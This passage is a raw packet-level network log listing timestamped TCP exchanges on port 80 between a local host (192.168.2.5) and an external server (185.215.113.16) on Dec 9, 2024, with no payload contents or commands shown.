Dec 9, 2024 15:29:44.131968021 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.132234097 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.132282972 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.136238098 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.136297941 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.136805058 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.136910915 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.140743017 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.140815020 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.141139030 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.141190052 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.144972086 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.145035982 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.145695925 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.145745039 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.149704933 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.149876118 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.149967909 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.150017023 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.153855085 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.153915882 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.154237986 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.154287100 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.158339977 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.158409119 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.158695936 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.158751011 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.162713051 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.162781954 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.163079977 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.163132906 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.167215109 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.167274952 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.167522907 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.167578936 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.171606064 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.171704054 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.171933889 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.172046900 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.175987959 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.176048994 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.176331997 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.176379919 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.180378914 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.180448055 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.180721045 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.180773020 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.199709892 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.199925900 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.272228956 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.272358894 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.272583961 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.272631884 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.274173021 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.274221897 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.274477959 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.274527073 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.277950048 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.278002024 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.289336920 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.289407015 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.289638996 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.289685965 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.290952921 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.291009903 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.291368008 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.291419029 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.294745922 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.294804096 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.295598984 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.295651913 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.295890093 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.295938969 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.298830032 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.298940897 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.299211979 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.299269915 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.302089930 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.302150011 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.302474976 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.302530050 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.305522919 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.305583954 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.305744886 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.305794954 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.308577061 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.308631897 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.308944941 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.308995962 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.311642885 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.311698914 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.312056065 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.312113047 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.315093994 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.315151930 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.315534115 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.315586090 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.318450928 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.318505049 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.318749905 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.318802118 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.321208000 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.321261883 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.321569920 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.321619987 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.324193954 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.324249983 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.324631929 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.324685097 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.327157974 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.327213049 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.327508926 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.327564955 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.329005957 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.329056978 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.329422951 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.329473972 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.330857992 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.330912113 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.331199884 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.331252098 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.332716942 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.332768917 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.333028078 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.333080053 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.334729910 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.334785938 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.334979057 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.335030079 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.336414099 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.336467981 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.336805105 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.336854935 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.338327885 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.338378906 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.338768005 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.338821888 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.340127945 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.340182066 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.340526104 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.340576887 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.342113972 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.342164993 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.342572927 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.342622995 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.343821049 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.343988895 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.344209909 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.344264984 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.345706940 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.345808983 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.346081018 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.346134901 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.347790956 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.347867012 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.348246098 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.348300934 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.349576950 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.349627018 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.349826097 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.349878073 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.351331949 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.351382017 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.351639032 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.351691961 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.353190899 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.353245974 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.353605986 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.353656054 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.355011940 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.355068922 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.355391026 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.355443001 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.356872082 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.356925011 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.357243061 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.357295036 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.358925104 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.358978987 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.359162092 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.359219074 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.360579967 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.360637903 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.361330032 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.361399889 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.362662077 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.362715006 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.363064051 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.363121033 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.364886999 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.364944935 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.365714073 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.365767002 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.366552114 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.366617918 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.367166996 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.367223024 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.465651035 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.465794086 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.465996027 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.466113091 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.466792107 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.466841936 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.467076063 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.467119932 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.467885017 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.467932940 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.469043970 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.469090939 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.469511986 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.469559908 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.470542908 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.470591068 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.470901966 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.470948935 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.472502947 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.472552061 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.472799063 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.472850084 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.485861063 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.485917091 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.485955954 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.485997915 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.486804008 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.486855030 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.487370014 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.487418890 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.488131046 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.488176107 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.488933086 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.488982916 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.489635944 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.489685059 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.490499973 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.490550041 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.491090059 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.491136074 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.491692066 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.491739988 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.500592947 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.500652075 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.501069069 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.501116991 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.501638889 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.501682997 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.502134085 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.502182961 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.502840996 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.502887964 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.503808022 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.503856897 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.504336119 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.504380941 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.504997015 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.505052090 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.505942106 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.505994081 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.506428957 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.506475925 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.507631063 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.507677078 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.508038998 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.508085012 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.508975029 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.509021997 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.509352922 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.509401083 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.510801077 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.510850906 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.511061907 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.511106968 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.512124062 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.512172937 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.512732029 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.512778044 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.513748884 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.513798952 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.514076948 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.514123917 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.515324116 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.515382051 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.515737057 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.516983032 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.517047882 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.517215967 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.517266035 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.518426895 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.518821001 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.518877983 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.520056963 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.520104885 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.520397902 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.520447016 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.521567106 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.521624088 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.522058010 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.522440910 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.523241043 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.523288965 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.523696899 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.523741007 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.524765968 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.525113106 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.525151968 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.525194883 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.526344061 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.526725054 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.526779890 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.528090954 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.528182030 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.528614998 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.528661966 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.530025005 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.530071020 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.530623913 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.530772924 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.531625986 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.531677008 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.531913996 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.531958103 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.532979012 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.533024073 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.533168077 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.533242941 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.534321070 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.535010099 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.535078049 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.535882950 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.535928965 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.536350012 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.536395073 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.537487030 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.537542105 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.537833929 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.537879944 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.539144993 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.539220095 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.539551973 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.539597034 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.540613890 CET	80	49805	185.215.113.16	192.168.2.5
